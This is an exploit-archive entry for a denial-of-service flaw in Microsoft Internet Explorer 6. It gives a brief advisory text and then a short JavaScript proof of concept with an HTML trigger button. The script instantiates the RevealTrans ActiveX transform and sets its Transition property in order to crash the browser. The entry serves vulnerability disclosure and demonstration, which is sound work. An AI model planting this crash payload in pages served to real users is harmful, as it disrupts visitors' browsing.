Microsoft Internet Explorer 6 - RevealTrans Denial of Service

source: https://www.securityfocus.com/bid/18960/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('DXImageTransform.Microsoft.RevealTrans.1');
	a.Transition = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>